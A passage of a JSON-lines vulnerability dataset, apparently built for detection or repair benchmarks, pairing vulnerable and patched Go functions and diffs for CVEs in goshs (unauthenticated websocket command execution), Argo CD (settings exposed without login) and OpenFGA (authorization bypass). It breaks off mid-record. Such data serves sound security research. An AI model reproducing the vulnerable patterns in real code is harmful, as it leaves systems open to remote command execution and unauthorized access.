{"cve_id": "CVE-2025-46816", "cve_description": "goshs is a SimpleHTTPServer written in Go. Starting in version 0.3.4 and prior to version 1.0.5, running goshs without arguments makes it possible for anyone to execute commands on the server. The function `dispatchReadPump` does not checks the option cli `-c`, thus allowing anyone to execute arbitrary command through the use of websockets. Version 1.0.5 fixes the issue.", "cwe_info": {"CWE-284": {"name": "Improper Access Control", "description": "The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor."}}, "repo": "https://github.com/patrickhener/goshs", "patch_url": ["https://github.com/patrickhener/goshs/commit/160220974576afe5111485b8d12fd36058984cfa"], "programing_language": "Go", "vul_func": [{"id": "vul_go_222_1", "commit": "cd1cbfd", "file_path": "httpserver/server.go", "start_line": 192, "end_line": 259, "snippet": "func (fs *FileServer) Start(what string) {\n\t// Setup routing with gorilla/mux\n\tmux := NewCustomMux()\n\n\taddr := fs.SetupMux(mux, what)\n\n\t// construct and bind listener\n\tlistener, err := net.Listen(\"tcp\", addr)\n\tif err != nil {\n\t\tlogger.Fatalf(\"Error binding to listener '%s': %+v\", addr, err)\n\t}\n\tdefer func() {\n\t\tif err := listener.Close(); err != nil {\n\t\t\tlogger.Errorf(\"error closing tcp listener: %+v\", err)\n\t\t}\n\t}()\n\n\t// construct server\n\tserver := http.Server{\n\t\t// Addr:              addr,\n\t\tHandler:           http.AllowQuerySemicolons(mux),\n\t\tReadHeaderTimeout: 10 * time.Second, // Mitigate Slow Loris Attack\n\t\tErrorLog:          log.New(io.Discard, \"\", 0),\n\t\t// Against good practice no timeouts here, otherwise big files would be terminated when downloaded\n\t}\n\n\t// init clipboard\n\tif !fs.NoClipboard {\n\t\tfs.Clipboard = clipboard.New()\n\n\t\t// init websocket hub\n\t\tfs.Hub = ws.NewHub(fs.Clipboard)\n\t\tgo fs.Hub.Run()\n\t}\n\n\t// Print silent banner\n\tif fs.Silent {\n\t\tlogger.Info(\"Serving in silent mode - no dir listing available at HTTP Listener\")\n\t}\n\n\t// Print all embedded files as info to the console\n\tfs.PrintEmbeddedFiles()\n\n\t// Register webhook\n\tif fs.WebhookEnable {\n\t\tswitch strings.ToLower(fs.WebhookProvider) {\n\t\tcase \"discord\":\n\t\t\tfs.Webhook = &webhook.DiscordWebhook{\n\t\t\t\tURL:      fs.WebhookURL,\n\t\t\t\tUsername: \"goshs\",\n\t\t\t}\n\t\tcase \"slack\":\n\t\t\tfs.Webhook = &webhook.SlackWebhook{\n\t\t\t\tURL: fs.WebhookURL,\n\t\t\t}\n\t\tcase \"mattermost\":\n\t\t\tfs.Webhook = &webhook.MattermostWebhook{\n\t\t\t\tURL:      fs.WebhookURL,\n\t\t\t\tUsername: \"goshs\",\n\t\t\t}\n\t\tdefault:\n\t\t\tlogger.Fatalf(\"Webhook provider '%s' not supported\", fs.WebhookProvider)\n\t\t}\n\t}\n\n\t// Start listener\n\tfs.StartListener(server, what, listener)\n}"}, {"id": "vul_go_222_2", "commit": "cd1cbfd", "file_path": "ws/client.go", "start_line": 80, "end_line": 130, "snippet": "func (c *Client) dispatchReadPump(packet Packet) {\n\t// Switch here over possible socket events and pull in handlers\n\tswitch packet.Type {\n\tcase \"newEntry\":\n\t\tvar entry string\n\t\tif err := json.Unmarshal(packet.Content, &entry); err != nil {\n\t\t\tlogger.Errorf(\"Error reading json packet: %+v\", err)\n\t\t}\n\t\tif err := c.hub.cb.AddEntry(entry); err != nil {\n\t\t\tlogger.Errorf(\"Error creating Clipboard entry: %+v\", err)\n\t\t}\n\t\tc.refreshClipboard()\n\n\tcase \"delEntry\":\n\t\tvar id string\n\t\tif err := json.Unmarshal(packet.Content, &id); err != nil {\n\t\t\tlogger.Errorf(\"Error reading json packet: %+v\", err)\n\t\t}\n\t\tiid, err := strconv.Atoi(id)\n\t\tif err != nil {\n\t\t\tlogger.Errorf(\"Error reading json packet: %+v\", err)\n\t\t}\n\t\tif err := c.hub.cb.DeleteEntry(iid); err != nil {\n\t\t\tlogger.Errorf(\"Error to delete Clipboard entry with id: %s: %+v\", string(packet.Content), err)\n\t\t}\n\t\tc.refreshClipboard()\n\n\tcase \"clearClipboard\":\n\t\tif err := c.hub.cb.ClearClipboard(); err != nil {\n\t\t\tlogger.Errorf(\"Error clearing clipboard: %+v\", err)\n\t\t}\n\t\tc.refreshClipboard()\n\n\tcase \"command\":\n\t\tvar command string\n\t\tif err := json.Unmarshal(packet.Content, &command); err != nil {\n\t\t\tlogger.Errorf(\"Error reading json packet: %+v\", err)\n\t\t}\n\t\tlogger.Debugf(\"Command was: %+v\", command)\n\t\toutput, err := cli.RunCMD(command)\n\t\tif err != nil {\n\t\t\tlogger.Errorf(\"Error running command: %+v\", err)\n\t\t}\n\t\tlogger.Debugf(\"Output: %+v\", output)\n\t\tc.updateCLI(output)\n\n\tdefault:\n\t\tlogger.Warnf(\"The event sent via websocket cannot be handeled: %+v\", packet.Type)\n\t}\n\n}"}, {"id": "vul_go_222_3", "commit": "cd1cbfd", "file_path": "ws/hub.go", "start_line": 9, "end_line": 24, "snippet": "type Hub struct {\n\t// Registered clients.\n\tclients map[*Client]bool\n\n\t// Inbound messages from the clients.\n\tbroadcast chan []byte\n\n\t// Register requests from the clients.\n\tregister chan *Client\n\n\t// Unregister requests from clients.\n\tunregister chan *Client\n\n\t// Handle clipboard\n\tcb *clipboard.Clipboard\n}"}, {"id": "vul_go_222_4", "commit": "cd1cbfd", "file_path": "ws/hub.go", "start_line": 27, "end_line": 35, "snippet": "func NewHub(cb *clipboard.Clipboard) *Hub {\n\treturn &Hub{\n\t\tbroadcast:  make(chan []byte),\n\t\tregister:   make(chan *Client),\n\t\tunregister: make(chan *Client),\n\t\tclients:    make(map[*Client]bool),\n\t\tcb:         cb,\n\t}\n}"}], "fix_func": [{"id": "fix_go_222_1", "commit": "160220974576afe5111485b8d12fd36058984cfa", "file_path": "httpserver/server.go", "start_line": 192, "end_line": 259, "snippet": "func (fs *FileServer) Start(what string) {\n\t// Setup routing with gorilla/mux\n\tmux := NewCustomMux()\n\n\taddr := fs.SetupMux(mux, what)\n\n\t// construct and bind listener\n\tlistener, err := net.Listen(\"tcp\", addr)\n\tif err != nil {\n\t\tlogger.Fatalf(\"Error binding to listener '%s': %+v\", addr, err)\n\t}\n\tdefer func() {\n\t\tif err := listener.Close(); err != nil {\n\t\t\tlogger.Errorf(\"error closing tcp listener: %+v\", err)\n\t\t}\n\t}()\n\n\t// construct server\n\tserver := http.Server{\n\t\t// Addr:              addr,\n\t\tHandler:           http.AllowQuerySemicolons(mux),\n\t\tReadHeaderTimeout: 10 * time.Second, // Mitigate Slow Loris Attack\n\t\tErrorLog:          log.New(io.Discard, \"\", 0),\n\t\t// Against good practice no timeouts here, otherwise big files would be terminated when downloaded\n\t}\n\n\t// init clipboard\n\tif !fs.NoClipboard {\n\t\tfs.Clipboard = clipboard.New()\n\n\t\t// init websocket hub\n\t\tfs.Hub = ws.NewHub(fs.Clipboard, fs.CLI)\n\t\tgo fs.Hub.Run()\n\t}\n\n\t// Print silent banner\n\tif fs.Silent {\n\t\tlogger.Info(\"Serving in silent mode - no dir listing available at HTTP Listener\")\n\t}\n\n\t// Print all embedded files as info to the console\n\tfs.PrintEmbeddedFiles()\n\n\t// Register webhook\n\tif fs.WebhookEnable {\n\t\tswitch strings.ToLower(fs.WebhookProvider) {\n\t\tcase \"discord\":\n\t\t\tfs.Webhook = &webhook.DiscordWebhook{\n\t\t\t\tURL:      fs.WebhookURL,\n\t\t\t\tUsername: \"goshs\",\n\t\t\t}\n\t\tcase \"slack\":\n\t\t\tfs.Webhook = &webhook.SlackWebhook{\n\t\t\t\tURL: fs.WebhookURL,\n\t\t\t}\n\t\tcase \"mattermost\":\n\t\t\tfs.Webhook = &webhook.MattermostWebhook{\n\t\t\t\tURL:      fs.WebhookURL,\n\t\t\t\tUsername: \"goshs\",\n\t\t\t}\n\t\tdefault:\n\t\t\tlogger.Fatalf(\"Webhook provider '%s' not supported\", fs.WebhookProvider)\n\t\t}\n\t}\n\n\t// Start listener\n\tfs.StartListener(server, what, listener)\n}"}, {"id": "fix_go_222_2", "commit": "160220974576afe5111485b8d12fd36058984cfa", "file_path": "ws/client.go", "start_line": 80, "end_line": 132, "snippet": "func (c *Client) dispatchReadPump(packet Packet) {\n\t// Switch here over possible socket events and pull in handlers\n\tswitch packet.Type {\n\tcase \"newEntry\":\n\t\tvar entry string\n\t\tif err := json.Unmarshal(packet.Content, &entry); err != nil {\n\t\t\tlogger.Errorf(\"Error reading json packet: %+v\", err)\n\t\t}\n\t\tif err := c.hub.cb.AddEntry(entry); err != nil {\n\t\t\tlogger.Errorf(\"Error creating Clipboard entry: %+v\", err)\n\t\t}\n\t\tc.refreshClipboard()\n\n\tcase \"delEntry\":\n\t\tvar id string\n\t\tif err := json.Unmarshal(packet.Content, &id); err != nil {\n\t\t\tlogger.Errorf(\"Error reading json packet: %+v\", err)\n\t\t}\n\t\tiid, err := strconv.Atoi(id)\n\t\tif err != nil {\n\t\t\tlogger.Errorf(\"Error reading json packet: %+v\", err)\n\t\t}\n\t\tif err := c.hub.cb.DeleteEntry(iid); err != nil {\n\t\t\tlogger.Errorf(\"Error to delete Clipboard entry with id: %s: %+v\", string(packet.Content), err)\n\t\t}\n\t\tc.refreshClipboard()\n\n\tcase \"clearClipboard\":\n\t\tif err := c.hub.cb.ClearClipboard(); err != nil {\n\t\t\tlogger.Errorf(\"Error clearing clipboard: %+v\", err)\n\t\t}\n\t\tc.refreshClipboard()\n\n\tcase \"command\":\n\t\tif c.hub.cliEnabled {\n\t\t\tvar command string\n\t\t\tif err := json.Unmarshal(packet.Content, &command); err != nil {\n\t\t\t\tlogger.Errorf(\"Error reading json packet: %+v\", err)\n\t\t\t}\n\t\t\tlogger.Debugf(\"Command was: %+v\", command)\n\t\t\toutput, err := cli.RunCMD(command)\n\t\t\tif err != nil {\n\t\t\t\tlogger.Errorf(\"Error running command: %+v\", err)\n\t\t\t}\n\t\t\tlogger.Debugf(\"Output: %+v\", output)\n\t\t\tc.updateCLI(output)\n\t\t}\n\n\tdefault:\n\t\tlogger.Warnf(\"The event sent via websocket cannot be handeled: %+v\", packet.Type)\n\t}\n\n}"}, {"id": "fix_go_222_3", "commit": "160220974576afe5111485b8d12fd36058984cfa", "file_path": "ws/hub.go", "start_line": 9, "end_line": 27, "snippet": "type Hub struct {\n\t// Registered clients.\n\tclients map[*Client]bool\n\n\t// Inbound messages from the clients.\n\tbroadcast chan []byte\n\n\t// Register requests from the clients.\n\tregister chan *Client\n\n\t// Unregister requests from clients.\n\tunregister chan *Client\n\n\t// Handle clipboard\n\tcb *clipboard.Clipboard\n\n\t// CLI Enabled\n\tcliEnabled bool\n}"}, {"id": "fix_go_222_4", "commit": "160220974576afe5111485b8d12fd36058984cfa", "file_path": "ws/hub.go", "start_line": 30, "end_line": 39, "snippet": "func NewHub(cb *clipboard.Clipboard, cliEnabled bool) *Hub {\n\treturn &Hub{\n\t\tbroadcast:  make(chan []byte),\n\t\tregister:   make(chan *Client),\n\t\tunregister: make(chan *Client),\n\t\tclients:    make(map[*Client]bool),\n\t\tcb:         cb,\n\t\tcliEnabled: cliEnabled,\n\t}\n}"}], "vul_patch": "--- a/httpserver/server.go\n+++ b/httpserver/server.go\n@@ -29,7 +29,7 @@\n \t\tfs.Clipboard = clipboard.New()\n \n \t\t// init websocket hub\n-\t\tfs.Hub = ws.NewHub(fs.Clipboard)\n+\t\tfs.Hub = ws.NewHub(fs.Clipboard, fs.CLI)\n \t\tgo fs.Hub.Run()\n \t}\n \n\n--- a/ws/client.go\n+++ b/ws/client.go\n@@ -32,17 +32,19 @@\n \t\tc.refreshClipboard()\n \n \tcase \"command\":\n-\t\tvar command string\n-\t\tif err := json.Unmarshal(packet.Content, &command); err != nil {\n-\t\t\tlogger.Errorf(\"Error reading json packet: %+v\", err)\n+\t\tif c.hub.cliEnabled {\n+\t\t\tvar command string\n+\t\t\tif err := json.Unmarshal(packet.Content, &command); err != nil {\n+\t\t\t\tlogger.Errorf(\"Error reading json packet: %+v\", err)\n+\t\t\t}\n+\t\t\tlogger.Debugf(\"Command was: %+v\", command)\n+\t\t\toutput, err := cli.RunCMD(command)\n+\t\t\tif err != nil {\n+\t\t\t\tlogger.Errorf(\"Error running command: %+v\", err)\n+\t\t\t}\n+\t\t\tlogger.Debugf(\"Output: %+v\", output)\n+\t\t\tc.updateCLI(output)\n \t\t}\n-\t\tlogger.Debugf(\"Command was: %+v\", command)\n-\t\toutput, err := cli.RunCMD(command)\n-\t\tif err != nil {\n-\t\t\tlogger.Errorf(\"Error running command: %+v\", err)\n-\t\t}\n-\t\tlogger.Debugf(\"Output: %+v\", output)\n-\t\tc.updateCLI(output)\n \n \tdefault:\n \t\tlogger.Warnf(\"The event sent via websocket cannot be handeled: %+v\", packet.Type)\n\n--- a/ws/hub.go\n+++ b/ws/hub.go\n@@ -13,4 +13,7 @@\n \n \t// Handle clipboard\n \tcb *clipboard.Clipboard\n+\n+\t// CLI Enabled\n+\tcliEnabled bool\n }\n\n--- a/ws/hub.go\n+++ b/ws/hub.go\n@@ -1,9 +1,10 @@\n-func NewHub(cb *clipboard.Clipboard) *Hub {\n+func NewHub(cb *clipboard.Clipboard, cliEnabled bool) *Hub {\n \treturn &Hub{\n \t\tbroadcast:  make(chan []byte),\n \t\tregister:   make(chan *Client),\n \t\tunregister: make(chan *Client),\n \t\tclients:    make(map[*Client]bool),\n \t\tcb:         cb,\n+\t\tcliEnabled: cliEnabled,\n \t}\n }\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-37152", "cve_description": "Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. The vulnerability allows unauthorized access to the sensitive settings exposed by  /api/v1/settings endpoint without authentication. All sensitive settings are hidden except passwordPattern. This vulnerability is fixed in 2.11.3, 2.10.12, and 2.9.17.", "cwe_info": {"CWE-306": {"name": "Missing Authentication for Critical Function", "description": "The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources."}}, "repo": "https://github.com/argoproj/argo-cd", "patch_url": ["https://github.com/argoproj/argo-cd/commit/256d90178b11b04bc8174d08d7b663a2a7b1771b"], "programing_language": "Go", "vul_func": [{"id": "vul_go_259_1", "commit": "60cdd7dde2bd9d784ae38af48dbb42f1416783ee", "file_path": "server/settings/settings.go", "start_line": 39, "end_line": 146, "snippet": "func (s *Server) Get(ctx context.Context, q *settingspkg.SettingsQuery) (*settingspkg.Settings, error) {\n\tresourceOverrides, err := s.mgr.GetResourceOverrides()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\toverrides := make(map[string]*v1alpha1.ResourceOverride)\n\tfor k := range resourceOverrides {\n\t\tval := resourceOverrides[k]\n\t\toverrides[k] = &val\n\t}\n\tappInstanceLabelKey, err := s.mgr.GetAppInstanceLabelKey()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\targoCDSettings, err := s.mgr.GetSettings()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tgaSettings, err := s.mgr.GetGoogleAnalytics()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\thelp, err := s.mgr.GetHelp()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tuserLoginsDisabled := true\n\taccounts, err := s.mgr.GetAccounts()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tfor _, account := range accounts {\n\t\tif account.Enabled && account.HasCapability(settings.AccountCapabilityLogin) {\n\t\t\tuserLoginsDisabled = false\n\t\t\tbreak\n\t\t}\n\t}\n\n\tkustomizeSettings, err := s.mgr.GetKustomizeSettings()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tvar kustomizeVersions []string\n\tfor i := range kustomizeSettings.Versions {\n\t\tkustomizeVersions = append(kustomizeVersions, kustomizeSettings.Versions[i].Name)\n\t}\n\n\ttrackingMethod, err := s.mgr.GetTrackingMethod()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tset := settingspkg.Settings{\n\t\tURL:                argoCDSettings.URL,\n\t\tAppLabelKey:        appInstanceLabelKey,\n\t\tResourceOverrides:  overrides,\n\t\tStatusBadgeEnabled: argoCDSettings.StatusBadgeEnabled,\n\t\tStatusBadgeRootUrl: argoCDSettings.StatusBadgeRootUrl,\n\t\tKustomizeOptions: &v1alpha1.KustomizeOptions{\n\t\t\tBuildOptions: argoCDSettings.KustomizeBuildOptions,\n\t\t},\n\t\tGoogleAnalytics: &settingspkg.GoogleAnalyticsConfig{\n\t\t\tTrackingID:     gaSettings.TrackingID,\n\t\t\tAnonymizeUsers: gaSettings.AnonymizeUsers,\n\t\t},\n\t\tHelp: &settingspkg.Help{\n\t\t\tChatUrl:    help.ChatURL,\n\t\t\tChatText:   help.ChatText,\n\t\t\tBinaryUrls: help.BinaryURLs,\n\t\t},\n\t\tUserLoginsDisabled:        userLoginsDisabled,\n\t\tKustomizeVersions:         kustomizeVersions,\n\t\tUiCssURL:                  argoCDSettings.UiCssURL,\n\t\tPasswordPattern:           argoCDSettings.PasswordPattern,\n\t\tTrackingMethod:            trackingMethod,\n\t\tExecEnabled:               argoCDSettings.ExecEnabled,\n\t\tAppsInAnyNamespaceEnabled: s.appsInAnyNamespaceEnabled,\n\t}\n\n\tif sessionmgr.LoggedIn(ctx) || s.disableAuth {\n\t\tset.UiBannerContent = argoCDSettings.UiBannerContent\n\t\tset.UiBannerURL = argoCDSettings.UiBannerURL\n\t\tset.UiBannerPermanent = argoCDSettings.UiBannerPermanent\n\t\tset.UiBannerPosition = argoCDSettings.UiBannerPosition\n\t\tset.ControllerNamespace = s.mgr.GetNamespace()\n\t}\n\tif argoCDSettings.DexConfig != \"\" {\n\t\tvar cfg settingspkg.DexConfig\n\t\terr = yaml.Unmarshal([]byte(argoCDSettings.DexConfig), &cfg)\n\t\tif err == nil {\n\t\t\tset.DexConfig = &cfg\n\t\t}\n\t}\n\tif oidcConfig := argoCDSettings.OIDCConfig(); oidcConfig != nil {\n\t\tset.OIDCConfig = &settingspkg.OIDCConfig{\n\t\t\tName:                     oidcConfig.Name,\n\t\t\tIssuer:                   oidcConfig.Issuer,\n\t\t\tClientID:                 oidcConfig.ClientID,\n\t\t\tCLIClientID:              oidcConfig.CLIClientID,\n\t\t\tScopes:                   oidcConfig.RequestedScopes,\n\t\t\tEnablePKCEAuthentication: oidcConfig.EnablePKCEAuthentication,\n\t\t}\n\t\tif len(argoCDSettings.OIDCConfig().RequestedIDTokenClaims) > 0 {\n\t\t\tset.OIDCConfig.IDTokenClaims = argoCDSettings.OIDCConfig().RequestedIDTokenClaims\n\t\t}\n\t}\n\treturn &set, nil\n}"}], "fix_func": [{"id": "fix_go_259_1", "commit": "256d90178b11b04bc8174d08d7b663a2a7b1771b", "file_path": "server/settings/settings.go", "start_line": 39, "end_line": 148, "snippet": "func (s *Server) Get(ctx context.Context, q *settingspkg.SettingsQuery) (*settingspkg.Settings, error) {\n\tresourceOverrides, err := s.mgr.GetResourceOverrides()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\toverrides := make(map[string]*v1alpha1.ResourceOverride)\n\tfor k := range resourceOverrides {\n\t\tval := resourceOverrides[k]\n\t\toverrides[k] = &val\n\t}\n\tappInstanceLabelKey, err := s.mgr.GetAppInstanceLabelKey()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\targoCDSettings, err := s.mgr.GetSettings()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tgaSettings, err := s.mgr.GetGoogleAnalytics()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\thelp, err := s.mgr.GetHelp()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tuserLoginsDisabled := true\n\taccounts, err := s.mgr.GetAccounts()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tfor _, account := range accounts {\n\t\tif account.Enabled && account.HasCapability(settings.AccountCapabilityLogin) {\n\t\t\tuserLoginsDisabled = false\n\t\t\tbreak\n\t\t}\n\t}\n\n\tkustomizeSettings, err := s.mgr.GetKustomizeSettings()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tvar kustomizeVersions []string\n\tfor i := range kustomizeSettings.Versions {\n\t\tkustomizeVersions = append(kustomizeVersions, kustomizeSettings.Versions[i].Name)\n\t}\n\n\ttrackingMethod, err := s.mgr.GetTrackingMethod()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tset := settingspkg.Settings{\n\t\tURL:                argoCDSettings.URL,\n\t\tAppLabelKey:        appInstanceLabelKey,\n\t\tResourceOverrides:  overrides,\n\t\tStatusBadgeEnabled: argoCDSettings.StatusBadgeEnabled,\n\t\tStatusBadgeRootUrl: argoCDSettings.StatusBadgeRootUrl,\n\t\tKustomizeOptions: &v1alpha1.KustomizeOptions{\n\t\t\tBuildOptions: argoCDSettings.KustomizeBuildOptions,\n\t\t},\n\t\tGoogleAnalytics: &settingspkg.GoogleAnalyticsConfig{\n\t\t\tTrackingID:     gaSettings.TrackingID,\n\t\t\tAnonymizeUsers: gaSettings.AnonymizeUsers,\n\t\t},\n\t\tHelp: &settingspkg.Help{\n\t\t\tChatUrl:    help.ChatURL,\n\t\t\tChatText:   help.ChatText,\n\t\t\tBinaryUrls: help.BinaryURLs,\n\t\t},\n\t\tUserLoginsDisabled:        userLoginsDisabled,\n\t\tKustomizeVersions:         kustomizeVersions,\n\t\tUiCssURL:                  argoCDSettings.UiCssURL,\n\t\tTrackingMethod:            trackingMethod,\n\t\tExecEnabled:               argoCDSettings.ExecEnabled,\n\t\tAppsInAnyNamespaceEnabled: s.appsInAnyNamespaceEnabled,\n\t}\n\n\tif sessionmgr.LoggedIn(ctx) || s.disableAuth {\n\t\tset.UiBannerContent = argoCDSettings.UiBannerContent\n\t\tset.UiBannerURL = argoCDSettings.UiBannerURL\n\t\tset.UiBannerPermanent = argoCDSettings.UiBannerPermanent\n\t\tset.UiBannerPosition = argoCDSettings.UiBannerPosition\n\t\tset.ControllerNamespace = s.mgr.GetNamespace()\n\t}\n\tif sessionmgr.LoggedIn(ctx) {\n\t\tset.PasswordPattern = argoCDSettings.PasswordPattern\n\t}\n\tif argoCDSettings.DexConfig != \"\" {\n\t\tvar cfg settingspkg.DexConfig\n\t\terr = yaml.Unmarshal([]byte(argoCDSettings.DexConfig), &cfg)\n\t\tif err == nil {\n\t\t\tset.DexConfig = &cfg\n\t\t}\n\t}\n\tif oidcConfig := argoCDSettings.OIDCConfig(); oidcConfig != nil {\n\t\tset.OIDCConfig = &settingspkg.OIDCConfig{\n\t\t\tName:                     oidcConfig.Name,\n\t\t\tIssuer:                   oidcConfig.Issuer,\n\t\t\tClientID:                 oidcConfig.ClientID,\n\t\t\tCLIClientID:              oidcConfig.CLIClientID,\n\t\t\tScopes:                   oidcConfig.RequestedScopes,\n\t\t\tEnablePKCEAuthentication: oidcConfig.EnablePKCEAuthentication,\n\t\t}\n\t\tif len(argoCDSettings.OIDCConfig().RequestedIDTokenClaims) > 0 {\n\t\t\tset.OIDCConfig.IDTokenClaims = argoCDSettings.OIDCConfig().RequestedIDTokenClaims\n\t\t}\n\t}\n\treturn &set, nil\n}"}], "vul_patch": "--- a/server/settings/settings.go\n+++ b/server/settings/settings.go\n@@ -71,7 +71,6 @@\n \t\tUserLoginsDisabled:        userLoginsDisabled,\n \t\tKustomizeVersions:         kustomizeVersions,\n \t\tUiCssURL:                  argoCDSettings.UiCssURL,\n-\t\tPasswordPattern:           argoCDSettings.PasswordPattern,\n \t\tTrackingMethod:            trackingMethod,\n \t\tExecEnabled:               argoCDSettings.ExecEnabled,\n \t\tAppsInAnyNamespaceEnabled: s.appsInAnyNamespaceEnabled,\n@@ -83,6 +82,9 @@\n \t\tset.UiBannerPermanent = argoCDSettings.UiBannerPermanent\n \t\tset.UiBannerPosition = argoCDSettings.UiBannerPosition\n \t\tset.ControllerNamespace = s.mgr.GetNamespace()\n+\t}\n+\tif sessionmgr.LoggedIn(ctx) {\n+\t\tset.PasswordPattern = argoCDSettings.PasswordPattern\n \t}\n \tif argoCDSettings.DexConfig != \"\" {\n \t\tvar cfg settingspkg.DexConfig\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-39342", "cve_description": "OpenFGA is an authorization/permission engine. Versions prior to version 0.2.4 are vulnerable to authorization bypass under certain conditions. Users whose model has a relation defined as a tupleset (the right hand side of a \u2018from\u2019 statement) that involves anything other than a direct relationship (e.g. \u2018as self\u2019) are vulnerable. Version 0.2.4 contains a patch for this issue.", "cwe_info": {"CWE-285": {"name": "Improper Authorization", "description": "The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action."}, "CWE-250": {"name": "Execution with Unnecessary Privileges", "description": "The product performs an operation at a privilege level that is higher than the minimum level required, which creates new weaknesses or amplifies the consequences of other weaknesses."}, "CWE-269": {"name": "Improper Privilege Management", "description": "The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor."}}, "repo": "https://github.com/openfga/openfga", "patch_url": ["https://github.com/openfga/openfga/commit/c8db1ee3d2a366f18e585dd33236340e76e784c4"], "programing_language": "Go", "vul_func": [{"id": "vul_go_125_1", "commit": "b466769", "file_path": "pkg/typesystem/typesystem.go", "start_line": 233, "end_line": 258, "snippet": "func validateRelationRewrites(model *openfgapb.AuthorizationModel) error {\n\ttypeDefinitions := model.GetTypeDefinitions()\n\n\tallRelations := map[string]struct{}{}\n\ttypeToRelations := map[string]map[string]struct{}{}\n\tfor _, td := range typeDefinitions {\n\t\tobjectType := td.GetType()\n\t\ttypeToRelations[objectType] = map[string]struct{}{}\n\t\tfor relation := range td.GetRelations() {\n\t\t\ttypeToRelations[objectType][relation] = struct{}{}\n\t\t\tallRelations[relation] = struct{}{}\n\t\t}\n\t}\n\n\tfor _, td := range typeDefinitions {\n\t\tobjectType := td.GetType()\n\t\tfor relation, rewrite := range td.GetRelations() {\n\t\t\terr := isUsersetRewriteValid(allRelations, typeToRelations[objectType], objectType, relation, rewrite)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t}\n\n\treturn nil\n}"}, {"id": "vul_go_125_2", "commit": "b466769", "file_path": "pkg/typesystem/typesystem.go", "start_line": 262, "end_line": 313, "snippet": "func isUsersetRewriteValid(allRelations map[string]struct{}, relationsOnType map[string]struct{}, objectType, relation string, rewrite *openfgapb.Userset) error {\n\tif rewrite.GetUserset() == nil {\n\t\treturn InvalidRelationError(objectType, relation)\n\t}\n\n\tswitch t := rewrite.GetUserset().(type) {\n\tcase *openfgapb.Userset_ComputedUserset:\n\t\tcomputedUserset := t.ComputedUserset.GetRelation()\n\t\tif computedUserset == relation {\n\t\t\treturn InvalidRelationError(objectType, relation)\n\t\t}\n\t\tif _, ok := relationsOnType[computedUserset]; !ok {\n\t\t\treturn RelationDoesNotExistError(objectType, computedUserset)\n\t\t}\n\tcase *openfgapb.Userset_TupleToUserset:\n\t\ttupleset := t.TupleToUserset.GetTupleset().GetRelation()\n\t\tif _, ok := relationsOnType[tupleset]; !ok {\n\t\t\treturn RelationDoesNotExistError(objectType, tupleset)\n\t\t}\n\n\t\tcomputedUserset := t.TupleToUserset.GetComputedUserset().GetRelation()\n\t\tif _, ok := allRelations[computedUserset]; !ok {\n\t\t\treturn RelationDoesNotExistError(\"\", computedUserset)\n\t\t}\n\tcase *openfgapb.Userset_Union:\n\t\tfor _, child := range t.Union.GetChild() {\n\t\t\terr := isUsersetRewriteValid(allRelations, relationsOnType, objectType, relation, child)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\tcase *openfgapb.Userset_Intersection:\n\t\tfor _, child := range t.Intersection.GetChild() {\n\t\t\terr := isUsersetRewriteValid(allRelations, relationsOnType, objectType, relation, child)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\tcase *openfgapb.Userset_Difference:\n\t\terr := isUsersetRewriteValid(allRelations, relationsOnType, objectType, relation, t.Difference.Base)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\terr = isUsersetRewriteValid(allRelations, relationsOnType, objectType, relation, t.Difference.Subtract)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\treturn nil\n}"}], "fix_func": [{"id": "fix_go_125_1", "commit": "c8db1ee", "file_path": "pkg/typesystem/typesystem.go", "start_line": 234, "end_line": 279, "snippet": "func validateRelationRewrites(model *openfgapb.AuthorizationModel) error {\n\ttypeDefinitions := model.GetTypeDefinitions()\n\n\trelations := map[string]*openfgapb.Relation{}\n\ttyperels := map[string]map[string]*openfgapb.Relation{}\n\n\tfor _, td := range typeDefinitions {\n\t\tobjectType := td.GetType()\n\n\t\ttyperels[objectType] = map[string]*openfgapb.Relation{}\n\n\t\tfor relation, rewrite := range td.GetRelations() {\n\t\t\trelationMetadata := td.GetMetadata().GetRelations()\n\t\t\tmd, ok := relationMetadata[relation]\n\n\t\t\tvar typeinfo *openfgapb.RelationTypeInfo\n\t\t\tif ok {\n\t\t\t\ttypeinfo = &openfgapb.RelationTypeInfo{\n\t\t\t\t\tDirectlyRelatedUserTypes: md.GetDirectlyRelatedUserTypes(),\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tr := &openfgapb.Relation{\n\t\t\t\tName:     relation,\n\t\t\t\tRewrite:  rewrite,\n\t\t\t\tTypeInfo: typeinfo,\n\t\t\t}\n\n\t\t\ttyperels[objectType][relation] = r\n\t\t\trelations[relation] = r\n\t\t}\n\t}\n\n\tfor _, td := range typeDefinitions {\n\t\tobjectType := td.GetType()\n\n\t\tfor relation, rewrite := range td.GetRelations() {\n\t\t\terr := isUsersetRewriteValid(relations, typerels[objectType], objectType, relation, rewrite)\n\t\t\tif err != nil 